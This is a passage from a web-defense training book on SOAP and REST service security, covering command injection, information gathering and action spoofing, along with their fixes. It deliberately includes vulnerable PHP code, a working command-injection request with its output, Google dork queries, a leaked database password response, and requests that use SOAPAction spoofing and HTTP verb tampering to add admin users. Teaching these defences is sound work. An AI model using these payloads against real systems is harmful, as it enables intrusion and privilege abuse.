domain, authentication should be enforced, for example:

session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}

VERY IMPORTANT: In this scenario, you should possibly consider anti-


CSRF defenses too (especially in situations where data is modified).

WEB SERVICES - SOAP BASICS 39


P W D / P R A C T I C A L W E B D E F E N S E

• If possible, enforce SSL


SSL will provide confidentiality and integrity of communications to and from the
web service, for this reason, SSL should always be used to protect data in transit,
especially when the data being received by or sent from the web service is
sensitive.
• Use the most limited SOAP data type for what you need
SOAP will enforce data-types, this can be leveraged to limit potential for some
attacks, in our example $num_packets should be an SOAP integer, not a SOAP
string, this will prevent command injection on that parameter. We can instruct
Zend Framework to use the “int” SOAP data type for the $num_packets
parameter via type-hinting:

* @param int $num_packets

IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the SOAP
data-types) it might.
• Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';
}

If a white-list of allowed values is not possible, the next best is a white-list of


allowed characters, we can validate these using regular expressions:

public function Ping($host, $num_packets) {//Insecure ping


//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}

WEB SERVICES - SOAP BASICS 40


P W D / P R A C T I C A L W E B D E F E N S E

• If user input can be explicitly separated from instructions, do it


In this rule, we are trying to avoid injection attacks, this will depend on what the
web service uses user input for: A SQL query should use bind variables, user input
rendered on HTML should use XSS defenses, etc. In our example, we should use
the most aggressive platform function available to mitigate command injection (i.e.
“escapeshellarg” in PHP):

return shell_exec("ping -c" . escapeshellarg($num_packets) . " " .


escapeshellarg($host));

• Put it all together


NOTE: In the real world, if you can use a white-list of values you will probably
not need to validate data against a list of white-listed characters as well. This being
said, redundant security controls do have their place: If somebody comments
or deletes a security control by mistake in a future development phase, the
remaining security controls will hopefully provide enough protection to prevent
exploitation of the vulnerability.
Defenses work best when combined together, the following is our no longer
vulnerable ping SOAP web service implementing most of the defenses described
here:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

require "vendor/autoload.php";//Composer sorts out the Zend Framework


dependencies for us
$URL = "http://example.com/web_services/soap/ping_server2.php";//URL for
this script
$WSDL_URL = $URL . "?wsdl";//URL where the WSDL is

class Pinger {//dummy class to ping a host


/**
* Pings a $host using $num_packets and returns the command
result
*
* @param string $host
* @param int $num_packets
* @return string
*/
public function Ping($host, $num_packets) {//Secure ping
//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1',
'www.google.com')) || !in_array($num_packets, array(1, 2, 3, 4))) {
return 'host or number of packets not allowed,
sorry';

WEB SERVICES - SOAP BASICS 41


P W D / P R A C T I C A L W E B D E F E N S E

}
//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}
return shell_exec("ping -c" .
escapeshellarg($num_packets) . " " . escapeshellarg($host));
}
}

define('IS_DEV_ENVIRONMENT', false);
if (IS_DEV_ENVIRONMENT && isset($_GET['wsdl'])) {//Provide WSDL
declaration for this SOAP Web Service (the URL is '..?wsdl')
$wsdl = new Zend\Soap\AutoDiscover();//This generates the WSDL
for us
$wsdl->setClass('Pinger')
->setUri($URL)
->setServiceName('Ping');
$wsdl->handle();
}
else {//Provide the SOAP Web Service functionality
$server = new
Zend\Soap\Server('/home/www/ping_server.wsdl');//Instantiates the Zend
Framework SOAP server
$server->setClass('Pinger');//Maps our Pinger class to handle
SOAP requests
$server->handle();//Returns the response for each SOAP request
}

The following is the full updated SOAP client implementing the offline WSDL
security control:

<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new Zend\Soap\Client('/home/www/ping_server.wsdl');
echo $client->Ping('www.google.com', '2');

Our example ping SOAP web service remains working as expected but is no
longer vulnerable to command injection. The SOAP message could be amended to
cater for the int data type:

<?xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"
xmlns:ns1="http://example.com/web_services/soap/ping_server.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

WEB SERVICES - SOAP BASICS 42


P W D / P R A C T I C A L W E B D E F E N S E

<env:Body>
<ns1:Ping env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding">
<host xsi:type="xsd:string">www.google.com</host>
<num_packets xsi:type="xsd:int">2</num_packets>
</ns1:Ping>
</env:Body>
</env:Envelope>

Assuming this has been saved to a file called ‘normal_ping.txt’, the functionality
can be verified as follows:

curl http://example.com/web_services/soap/ping_server.php --data "$(cat


'normal_ping.txt')"

Returns:

xml version="1.0" encoding="UTF-8"?>


<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
xmlns:ns1="http://example.com/web_services/soap/ping_server2.php"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:enc="http://www.w3.org/2003/05/soap-encoding"><env:Body
xmlns:rpc="http://www.w3.org/2003/05/soap-rpc"><ns1:PingResponse
env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding"><rpc:result>return</rpc:result><return
xsi:type="xsd:string">PING www.google.com (212.191.236.101) 56(84) bytes
of data.
64 bytes from 212.191.236.101: icmp_req=1 ttl=128 time=4.51 ms
64 bytes from 212.191.236.101: icmp_req=2 ttl=128 time=5.38 ms

--- www.google.com ping statistics ---


2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 4.515/4.951/5.388/0.442 ms
</return></ns1:PingResponse></env:Body></env:Envelope>

WEB SERVICES - SOAP BASICS 43


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

4
4. REST BASICS

4.1 Introduction
In case you are unfamiliar with RESTful web services, in this section we will briefly
illustrate how RESTful web services work.
RESTful APIs are generally based on HTTP verbs to determine the action:
HTTP verb Action Description
GET Lists a collection of records or displays a given record:
RESTful URL to list all books available: http://example.com/books
RESTful URL to view a book: http://example.com/books/1
PUT Replaces a record, or creates it if it does not exist
RESTful URL to replace a book (the HTTP request body would have the
contents):
http://example.com/books/1
POST Creates a new record
RESTful URL to create a new book (the HTTP request body would have
the contents):
http://example.com/books
DELETE Deletes a record
RESTful URL to delete a book:
http://example.com/books/1

WEB SERVICES - REST BASICS 44


P W D / P R A C T I C A L W E B D E F E N S E

For simplicity reasons, we will use the popular Slim Framework19 in our examples.
In most Linux distributions, you can automatically get the dependencies for the Slim
Framework as follows:

echo "127.0.0.1 example.com" >> /etc/hosts # Set example.com to


localhost (if you didn't before)
mkdir -p /var/www/web_services/rest # Prepare the expected directory for
the example
cd /var/www/web_services/rest # Install dependencies in the right
directory
apt-get install php5-mcrypt # This avoids composer errors later
curl -s https://getcomposer.org/installer | php
./composer.phar require slim/slim:2.3.2
#Enable mod_rewrite:
ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-
enabled/rewrite.load
/etc/init.d/apache2 restart

In addition to this, REST web services require configuring the web server to redirect
HTTP requests to the relevant REST application controller (in our case “index.php”).
This can be achieved using an .htaccess file like the following in Apache:

RewriteEngine On
RewriteBase /web_services/rest
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L]

Finally, .htaccess files must be enabled in Apache so that the redirect works under the
/var/www/web_services/rest directory. In Kali Linux, this requires editing the following
file:

gedit /etc/apache2/sites-available/default

And then ensure that “AllowOverride All” is set on the /var/www directory (or
/var/www/web_services/rest, if .htaccess files are only intended to be present there):


<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
#AllowOverride None Comment this
AllowOverride All Add this

19 http://www.slimframework.com/

WEB SERVICES - REST BASICS 45


P W D / P R A C T I C A L W E B D E F E N S E

4.2 Basic REST usage


WARNING: We are showing you the same command injection vulnerability for all major
web service types so that you can compare the similarities and differences between web
service types more easily. However, please remember that any vulnerability is
possible in the real world (this will depend on what user input is used for in most
cases), not just command injection. For example, we will see replay, file upload and
XXE vulnerabilities –which can also affect all web service types- later in this chapter.
After dependencies are sorted, we can create a very simple vulnerable REST web service
called “index.php” like this:

<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us

$app = new \Slim\Slim();


$app->get('/ping/:host/:num_packets', function ($host, $num_packets) {
echo shell_exec("ping -c" . $num_packets . " " .
$host);//Command Injection here!
});
$app->run();

The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this using curl:

curl 'http://example.com/web_services/rest/ping/www.google.com/1'

Returns:

PING www.google.com (212.191.236.112) 56(84) bytes of data.


64 bytes from 212.191.236.112: icmp_req=1 ttl=128 time=5.19 ms

--- www.google.com ping statistics ---


1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.194/5.194/5.194/0.000 ms

4.3 Fingerprinting REST web services


An attacker without knowledge of the REST web service may enumerate and fingerprint
the available REST functionality observing the web application. REST services are often
used to implement functionality in RESTful web applications.

WEB SERVICES - REST BASICS 46


P W D / P R A C T I C A L W E B D E F E N S E

4.4 Attacking REST web services


REST web services can also be attacked using any tool capable of sending HTTP requests.
We will illustrate this using curl. In our example, since the host and even the number of
packets are not escaped, we can use the “;” shell character to terminate the ping command
and run arbitrary commands, for example “uname -a” (%20 is used to url encode the
blank space in the URL), “uptime” and “id”:

curl
'http://example.com/web_services/rest/ping/www.google.com;id;uptime;unam
e%20-a/1'

This proves that our REST web service is vulnerable to command injection as can be seen
in the HTTP response:

PING www.google.com (212.191.236.110) 56(84) bytes of data.


64 bytes from 212.191.236.110: icmp_req=1 ttl=128 time=5.82 ms

--- www.google.com ping statistics ---


1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.826/5.826/5.826/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
09:24:37 up 8 days, 15:45, 15 users, load average: 0.03, 0.06, 0.05
Linux k 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

This illustrates how user input processing may introduce security issues in REST web
services similar to those in web applications.

4.5 REST defense guidelines


The following guidelines should facilitate defense of REST web services:
1. If possible, implement IP-filtering
In many cases, web services are only meant to be available from a very limited
number of trusted hosts, when this is the case, all requests coming from untrusted
IPs should be rejected. Adding the following to the top of our example
implements this:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}

WEB SERVICES - REST BASICS 47


P W D / P R A C T I C A L W E B D E F E N S E

2. If possible, enforce authentication


IMPORTANT: While this breaks the “no state should be kept in the web
server” RESTful principle, it is substantially difficult to prevent replay
attacks and CSRF without server-side state.
For cases when the web service requires authentication, such as when the web
service is only intended to be used by a web application hosted on the same
domain, authentication should be enforced, for example:

session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}

VERY IMPORTANT: In this scenario, you should possibly consider anti-


CSRF defenses too (especially in situations where data is modified).
3. If possible, enforce SSL
SSL will provide confidentiality and integrity of communications to and from the
web service, for this reason, SSL should always be used to protect data in transit,
especially when the data being received by or sent from the web service is
sensitive.
4. Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:

$app->get('/ping/:host/:num_packets', function ($host, $num_packets) {


//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1', 'www.google.com')) ||
!in_array($num_packets, array(1, 2, 3, 4))) {
die('host or number of packets not allowed, sorry');
}

If a white-list of allowed values is not possible, the next best is a white-list of


allowed characters, we can validate these using regular expressions:

$app->get('/ping/:host/:num_packets', function ($host, $num_packets) {


//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) || !preg_match('|^[1-
9][0-9]*$|', $num_packets)) {
die('host or number of packets have an invalid format,
sorry');
}

WEB SERVICES - REST BASICS 48


P W D / P R A C T I C A L W E B D E F E N S E

5. If user input can be explicitly separated from instructions, do it


In this rule, we are trying to avoid injection attacks, this will depend on what the
web service uses user input for: A SQL query should use bind variables, user input
rendered on HTML should use XSS defenses, etc. In our example, we should use
the most aggressive platform function available to mitigate command injection (i.e.
“escapeshellarg” in PHP):

echo shell_exec("ping -c" . escapeshellarg($num_packets) . " " .


escapeshellarg($host));

6. Put it all together


NOTE: In the real world, if you can use a white-list of values you will probably
not need to validate data against a list of white-listed characters as well. This being
said, redundant security controls do have their place: If somebody comments
or deletes a security control by mistake in a future development phase, the
remaining security controls will hopefully provide enough protection to prevent
exploitation of the vulnerability.
Defenses work best when combined together, the following is our no longer
vulnerable ping REST web service implementing most of the defenses described
here:

<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require 'vendor/autoload.php';//Composer handles all dependencies for us

$app = new \Slim\Slim();

$app->get('/ping/:host/:num_packets', function ($host, $num_packets) {


//white-list of allowed values (preferred)
if (!in_array($host, array('127.0.0.1', 'www.google.com')) ||
!in_array($num_packets, array(1, 2, 3, 4))) {
die('host or number of packets not allowed, sorry');
}
//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) || !preg_match('|^[1-
9][0-9]*$|', $num_packets)) {
die('host or number of packets have an invalid format,
sorry');
}
echo shell_exec("ping -c" . escapeshellarg($num_packets) . " " .
escapeshellarg($host));
});
$app->run();

WEB SERVICES - REST BASICS 49


P W D / P R A C T I C A L W E B D E F E N S E

Our example ping REST web service is no longer vulnerable to command


injection:

curl
'http://example.com/web_services/rest/ping/www.google.com;id;uptime;unam
e%20-a/1'

Returns:

host or number of packets not allowed, sorry

However, the web service REST functionality remains working as expected:

curl 'http://example.com/web_services/rest/ping/www.google.com/1'

Returns:

PING www.google.com (212.191.236.112) 56(84) bytes of data.


64 bytes from 212.191.236.112: icmp_req=1 ttl=128 time=8.51 ms

--- www.google.com ping statistics ---


1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 8.515/8.515/8.515/0.000 ms

WEB SERVICES - REST BASICS 50


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

5
5. WEB SERVICE INFORMATION
GATHERING

5.1 Introduction
The first step for attacking a web service is to find it and understand how to use it. This
web service finding and usage phase is called “web service information gathering”. Web
service information gathering typically consists of two stages:
1. Finding web services: Generally through Google Hacking or reverse engineering
2. Understand how to call them: Generally through WSDL20, UDDI21 or reverse
engineering
Reverse engineering can be performed through analysis/monitoring/decompiling of
JavaScript, Flash or Silverlight.

5.2 What the problem is


Security should be based on securing the web service functionality itself as opposed to
hiding functionality. However, it is also true that opportunistic attackers will move on to
the next target if they cannot find or do not know how to use your web service after a
given period of time.

20 http://www.w3.org/TR/wsdl
21 http://www.w3schools.com/wsdl/wsdl_uddi.asp

WEB SERVICES - WEB SERVICE INFORMATION GATHERING 51


P W D / P R A C T I C A L W E B D E F E N S E

5.3 How can I see if I am vulnerable to this?


How to check if your web services are exposed

You can see if your web services are exposed to the internet by simply performing the
following Google Search:

filetype:asmx OR filetype:jws OR filetype:wsdl OR inurl:asmx?wsdl OR


inurl:jws?wsdl OR inurl:wsdl OR inurl:Default.VSDisco OR
inurl:default.disco OR inurl:?DISCO OR inurl:svc OR ext:svc
site:mywebsite.com

Web services may additionally be discovered via UDDI services such as the following:
• SOAPClient
Universal Description, Discovery, and Integration (UDDI) Service is an industry-wide effort to
bring a common standard for business-to-business(B2B) integration. It defines a set of standard
interfaces for accessing a database of web services. As a pioneer of web service implementations, we
provide this web interface to the live registries.
http://www.soapclient.com/uddisearch.html
• WSIndex
Web services Links & Resources
http://www.wsindex.org/

If you have a RESTful web service called “rest_service.php” you could search for it
like this:

inurl:rest_service.php site:mywebsite.com

Review available web service methods

Sometimes web service WSDL metadata will list very sensitive administrative functions
such as “test DB” or “download database”. SQL Injection is almost irrelevant if the whole
database can be downloaded without authentication simply calling a web service. The
following is an example from a real penetration test that had a “test DB” web service
method exposed in the WSDL, please note how authentication was not needed to retrieve
the SA password (i.e. System Administrator, the most sensitive account in MSSQL Server)
this way:

POST /Service.asmx HTTP/1.1


Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/TestConnection"
Host: 192.168.1.1
Content-Length: 292
Expect: 100-continue

HTTP/1.1 100 Continue

WEB SERVICES - WEB SERVICE INFORMATION GATHERING 52


P W D / P R A C T I C A L W E B D E F E N S E

<?xml version="1.0" encoding="utf-8"?><soap:Envelope


xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><TestConnection
xmlns="http://tempuri.org/" /></soap:Body></soap:Envelope>

The web service responded with the password of the SA account:

HTTP/1.1 200 OK
Date: Mon, 29 Aug 2011 00:30:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 556

<?xml version="1.0" encoding="utf-8"?><soap:Envelope


xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><TestConnectionR
esponse
xmlns="http://tempuri.org/"><TestConnectionResult>#Open#DBConnectionStri
ng: Password=123456;Persist Security Info=True;User ID=sa;Initial
Catalog=xyz2013;Data Source=XYZ\ABC; user = sa; password = 123456
ErrorString: AffectedRows:
0</TestConnectionResult></TestConnectionResponse></soap:Body></soap:Enve
lope>

It is important to ensure that administrative/sensitive web service functions require


authentication and are not exposed like above.
OWASP guidelines to test for this issue can be found here:
https://www.owasp.org/index.php/Testing:_WS_Information_Gathering_(OWAS
P-WS-001)
https://www.owasp.org/index.php/Testing_WSDL_(OWASP-WS-002)

WEB SERVICES - WEB SERVICE INFORMATION GATHERING 53


P W D / P R A C T I C A L W E B D E F E N S E

5.4 How can I fix this?


Require authentication for sensitive functions

Web services should not rely solely on obscurity for security, they should proactively verify
if:
1. The web service function should even be available in a production system (i.e.
“download DB”?)
2. The user is authenticated (i.e. should this function require authentication?)
3. The user can perform the action requested (i.e. can user joe create a new
administrator user?)
If the answer to any of the above is no, oftentimes the action should be rejected except
when there is a serious business need to proceed otherwise.

Disable web service indexing

The best way to hide a web service from search engine indexing (which is generally not
desired anyway for a web service) is to do so using the X-Robots-Tag using the value
“noindex”. This prevents indexing within the web service page itself instead of advertising
it from the robots.txt file.
Using the Apache .htaccess or httpd.conf configuration files we may prevent indexing
using a configuration snippet such as the following:

<Files "mywebservice.php">
Header set X-Robots-Tag "noindex"
</Files>

Assuming web services have the extension svc, asmx or jws the following general anti-
indexing rule could be created:

< Files ~ "\.(svc|asmx|jws)$">


Header set X-Robots-Tag "noindex, nofollow"
</Files>

Alternatively, web services could be placed within a directory that is not allowed in the
robots.txt file:

User-agent: *
Disallow: /private

And then place the web service in a random subdirectory like:


“/private/lasdjfsd/webservice_here”

WEB SERVICES - WEB SERVICE INFORMATION GATHERING 54


P W D / P R A C T I C A L W E B D E F E N S E

Do not expose the WSDL

Most attack tools require reading the WSDL metadata on “how to call the web service”.
While it is OK to expose this during development, it is also a good idea to stop exposing it
in a production system unless it is a business-critical requirement to expose this
information (i.e. on a website that advertises integration with third party tools through the
WSDL).
Windows Communication Foundation (WCF) Web Services22 can turn off the
HttpGetEnabled property23 in production systems.
It is very important to realize that we are only making the web service a little bit more
difficult to find and use, but an attacker using and monitoring the web application will still
be able to figure out how to call the web service, however, this process is usually slower
than just looking at a WSDL file.

5.5 Further reading


The following resources provide more information on this topic:
• WS-Attacks.org: WSDL Disclosure attack description
http://ws-attacks.org/index.php/WSDL_Disclosure
• OWASP Web Service Security Cheat Sheet
https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
• OWASP REST Security Cheat Sheet
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
• OWASP Development Guide: Web Services
https://www.owasp.org/index.php/Web_Services
• Erlend Oftedal: RESTful Security
http://erlend.oftedal.no/blog/?blogid=134
• Don’t Drop the SOAP: Real World Web Service Testing
http://www.spylogic.net/wp-content/uploads/2011/08/Dont-Drop-the-
SOAP-Whitepaper.pdf
• WS-Attacks.org: Web Service Attacks explained
http://ws-attacks.org/

22http://msdn.microsoft.com/en-us/library/ms731734.aspx
23http://msdn.microsoft.com/en-
us/library/system.servicemodel.description.servicemetadatabehavior.httpgetenabled.aspx

WEB SERVICES - WEB SERVICE INFORMATION GATHERING 55


P W D / P R A C T I C A L W E B D E F E N S E
CHAPTER

6
6. SOAP/REST ACTION
SPOOFING

6.1 Introduction
SOAP web services transport messages over XML, generally the web service determines
the action to perform depending on the value of the SOAPAction HTTP header (i.e.
view_profile, add_user, etc.)

POST /service HTTP/1.1


Host: example.com
Content-Type: text/xml; charset=utf-8
Content-Length: X
SOAPAction: "view_profile"

<?xml version="1.0" encoding="utf-8"?>


<soap:Body>
<view_profile>
<username>joe</username>
</view_profile>
</soap:Body>
</soap:Envelope>

REST web services use JSON, usually the web service determines the action to perform
depending on the value of the HTTP verb (i.e. GET/POST/PUT/DELETE, etc.)

GET /service/view_profile/joe HTTP/1.1


Host: example.com

Action spoofing is an attack where the web service is tricked into performing an action
that should have been forbidden.

WEB SERVICES - SOAP/REST ACTION SPOOFING 56


P W D / P R A C T I C A L W E B D E F E N S E

Since the action of REST web services is typically provided in the HTTP verb, REST
action spoofing attacks are often called HTTP verb tampering attacks.

6.2 What the problem is


Both SOAP and REST web services may be subject to action spoofing attacks, these
attacks essentially target logic flaws derived from confusion among web service
configuration, user action and message content. The end result is that sometimes especially
crafted web service requests may bypass security controls.

6.3 How can I see if I am vulnerable to this?


SOAP spoofing attacks

SOAP Action spoofing attacks are a type of business logic flaw that typically requires the
following:
1. The SOAPAction header indicates: “Action A”
2. The SOAP envelope (i.e. the body of the request) indicates: “Action B”
3. The web service verifies “Action A” is allowed, but not “Action B”, creating a
security issue.
The idea is that the action in the SOAPAction header should match the action in the
SOAP envelope. However, some web services will fail to verify this.
Let us imagine the following simple PHP web service processing code:

if ($SOAPActionHeader === 'view_profile') {//Limited users can view


their profile: “Action A”
do_it($message);//process the parsed message: “Action B”
}

In this context, a limited user allowed to view their profile could send a request like the
one below and create a new admin user:

POST /service HTTP/1.1


Host: example.com
Content-Type: text/xml; charset=utf-8
Content-Length: X
SOAPAction: "view_profile"

<?xml version="1.0" encoding="utf-8"?>


<soap:Body>
<add_user>
<username>new_admin</username>
<password>123456</password>

WEB SERVICES - SOAP/REST ACTION SPOOFING 57


P W D / P R A C T I C A L W E B D E F E N S E

<group>0</group>
</add_user>
</soap:Body>
</soap:Envelope>

More information about SOAPAction Spoofing attacks can be found here:


WS-Attacks.org: SOAPAction Spoofing
http://ws-attacks.org/index.php/SOAPAction_Spoofing

REST action spoofing (HTTP verb tampering) attacks

REST Action spoofing attacks are also possible through the following means:
• Crafted HTTP verbs bypass security controls
Let us imagine the following Java EE web.xml file:

<security-constraint>
<web-resource-collection>
<url-pattern>/service/add_user/*</url-pattern>
<http-method>GET</http-method>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>

Unfortunately, the previous example only constrains the “add_user” URL to the GET and
PUT methods, very counter-intuitively a custom HTTP verb like “TEST” or simply
“HEAD” will be allowed.
Similarly, in .NET the following configuration file will let not prevent normal users from
sending GET requests via HEAD:

<authorization>
<allow verbs="GET" users="admin"/>
<deny verbs=”POST,PUT,GET” users=”*” />
</authorization>

“HEAD” is interesting from an attacking perspective because it will pass the parameters as
if it was GET.

WEB SERVICES - SOAP/REST ACTION SPOOFING 58


P W D / P R A C T I C A L W E B D E F E N S E

The following request will bypass both access controls above and be processed by the
service:

HEAD /service/add_user/jimmy/123456 HTTP/1.1


Host: example.com

Ambiguity in parameter sources may lead to security bypasses

Some platforms provide methods to retrieve parameters that are ambiguous in nature.
Typically GET and POST parameters are merged. The following is an incomplete
reference table to illustrate this:
Platform Parameter retrieval method Information sources
PHP $_REQUEST['param_name'] GET, POST and Cookies
Java/JSP request.getParameter('param_name') GET, POST
Struts formBean.getValue('param_name') GET, POST
Python request['param_name'] GET, POST

Now imagine that a RESTful web service has code such as the following:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {//This can only be done


using POST!
if (isset($_POST['user']) && !preg_match('/^[a-z]+$/i',
$_POST['user'])) {
die('Invalid user!'); //Abort
}
if (isset($_POST['pass']) && !preg_match('/^[a-z]+$/i', $_POST['pass']))
{
die('Invalid password!'); //Abort
}
add_user($_REQUEST['user'], $_REQUEST['pass']);//$_GET is not
validated!
}

The following attack will bypass the logic above send a POST request, but passing the
parameters over GET, the use of $_REQUEST allows obscure logic bypasses like this:

$ curl -X POST http://target/webservice?user=new_user&pass=123456

Please note how only POST is validated in the code earlier: If the POST variables are not
set, validation is completely skipped but the values from GET are used.

WEB SERVICES - SOAP/REST ACTION SPOOFING 59


P W D / P R A C T I C A L W E B D E F E N S E

More information on testing REST action spoofing via HTTP method tampering can be
found here:
• Bypassing Web Authentication and Authorization with HTTP Verb Tampering
https://www.aspectsecurity.com/wp-content/plugins/download-
monitor/download.php?id=18
• Testing for WS HTTP GET parameters/REST attacks
https://www.owasp.org/index.php/Testing_for_WS_HTTP_GET_param
eters/REST_attacks_(OWASP-WS-005)

6.4 How can I fix this?


Mitigating SOAPAction spoofing attacks

The mitigation here is simple. There are two options to solve this problem:
Option 1) If the SOAPAction header and SOAP body do not match: Reject the request (it
is an attack)
Option 2) Disable the SOAPAction attribute and simply use the SOAP body

Mitigating REST HTTP verb tampering attacks

Configuration files to handle access control via HTTP verbs may sometimes be counter-
intuitive, especially on Java EE, where listing a method implies that all other methods not
listed (i.e. such as “HEAD” above) are allowed. This being said, the following guidelines
should help to solve this problem:
• Disable all unneeded HTTP verbs at the web server level: For example, if the web
application does not use HEAD, just disable it, etc. If the web server rejects it, the
attack will not reach the application.
• Avoid ambiguous sources of user input that merge GET and POST:
For example, prefer $_GET or $_POST in PHP over $_REQUEST. Search for
ambiguous parameter sources such as $_REQUEST in the source code and
replace all occurrences to the safer $_GET or $_POST as appropriate.
• Suggested configuration for Java EE:
Remove all <http-method> elements from web.xml: This will apply the security
constraints to all HTTP methods. For example, this would work as intended:

<security-constraint>
<web-resource-collection>
<url-pattern>/service/add_user/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>

WEB SERVICES - SOAP/REST ACTION SPOOFING 60


P W D / P R A C T I C A L W E B D E F E N S E

</security-constraint>

• Suggested configuration for .NET:


A deny all rule at the end should solve the problem:

<authorization>
<allow verbs="GET" users="admin"/>
<deny verbs=”*” users=”*” />
</authorization>

• After implementing the security controls, test to see if they work or not.

6.5 Further reading


The following resources provide more information on this topic:
• OWASP Web Service Security Cheat Sheet
https://www.owasp.org/index.php/Web_Service_Security_Cheat_Sheet
• OWASP REST Security Cheat Sheet
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
• OWASP Development Guide: Web Services
https://www.owasp.org/index.php/Web_Services
• Erlend Oftedal: RESTful Security
http://erlend.oftedal.no/blog/?blogid=134
• Don’t Drop the SOAP: Real World Web Service Testing
